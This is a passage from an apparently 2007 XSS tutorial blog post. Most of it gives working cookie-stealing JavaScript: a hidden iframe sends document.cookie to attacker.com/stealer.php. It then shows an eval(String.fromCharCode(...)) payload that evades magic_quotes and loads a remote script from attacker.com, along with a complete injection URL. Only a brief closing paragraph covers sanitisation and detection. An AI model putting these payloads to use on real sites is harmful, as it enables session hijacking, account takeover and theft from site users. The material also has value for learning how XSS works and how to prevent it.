This method is unsubtle to say the least. The victim will be redirected to the attacker’s site and will see that their cookies have been transmitted. Those with basic JavaScript understanding might at this point wonder “why not transmit the cookies by AJAX?” The reason for this is that XMLHttpRequest (the mechanism behind AJAX) is limited to transmitting requests to the same domain – in other words www.victim.com (where the JavaScript is “hosted”) cannot send an AJAX request to www.attacker.com. So, what can be done to silently obtain a user’s cookies? The answer lies in the iframe tag using the following JavaScript code which has only been tested in FireFox:
 
 var url = "http://www.attacker.com/stealer.php";
 
 url = url + "?cookie=" + document.cookie;
 
 var body = document.getElementsByTagName('body').item(0);
 
 var iframe = document.createElement('iframe');
 iframe.src = url;
 iframe.setAttribute("style", "display:none;");
 body.appendChild(iframe);
This code creates an invisible iframe at the bottom of the page’s tag that silently loads attacker.com/stealer.php and sends the cookies.
The attentive reader may at this point be wondering how this is of any use to us, after all I stated earlier that magic_quotes will encapsulate any “s and ‘s as \” and \’ respectively – something that JavaScript is not going to be happy with and also that, with all that code, it’s going to be one lengthy URL! The simple answer is that this can be overcome by loading an external script into the document. Again, were magic_quotes disabled we could use the handy document.write(“<script etc.”) but, alas, the “s are converted into \”. So, how can we bypass this? Well, the first way is by encoding the input. JavaScript has a function named eval() which will execute any JavaScript passed to it as a string. There is also a static member of the String object called .fromCharCode which will create a string from ascii characters passed to it. You can encode your own JavaScript using my encoding tool. So,
document.write('<script src="http://www.attacker.com/remote.js" />')
becomes
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,
99,61,34,104,116,116,112,58,47,47,119,119,119,46,97,116,116,97,99,107,101,114,46,99,111,109,47,114,101,109,111,116,101,46,
106,115,34,32,47,62,39,41))
which contains no nasty input for magic_quotes to try and filter. Visiting this url
test.php?linklocation=test.htm%22%3Etest%3C/a%3E%3Cscript%3E%20%20%20%20eval(String.fromCharCode(100,111,99,
117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,
119,46,97,116,116,97,99,107,101,114,46,99,111,109,47,114,101,109,111,116,101,46,106,115,34,32,47,62,39,41))%3C/script%3E%3Ca%20href=%22test1.htm
results in the following in-browser render:
<script src="http://www.attacker.com/remote.js"></script>
So now it is possible to load a remote script into the victim’s browser and the attacker is free from complex encodings using fromCharCode and the such like. It is worth mentioning at this stage that this is by no means the only way to inject a remote script into the page and that my preferred method is XBL injection by using the -moz-binding value of the style attribute – but that’s another story.
I want to use the closing lines of this section on exploiting XSS to point out that stealing cookies is NOT the only action that can be taken. Now that the attacker has injected a full length JavaScript document into the host it is possible to take almost any action that the user would (the exception being to upload files) including submitting forms, resetting passwords/emails – you name it, it’s doable.
So, how can XSS attacks be prevented? It is important to sanitize input on both the inward and outward phases of processing – if data comes in (eg. from a cookie) – treat it as malicious and DO NOT put any of its data onto a page until it has been sanitized. Furthermore, if you are using PHP check out the PHP IDS, a project to detect malicious input.
For a list of common XSS attack vectors, check out Rsnake’s XSS Cheat Sheet.

Source: https://www.martineve.com/2007/05/23/xss-tutorial/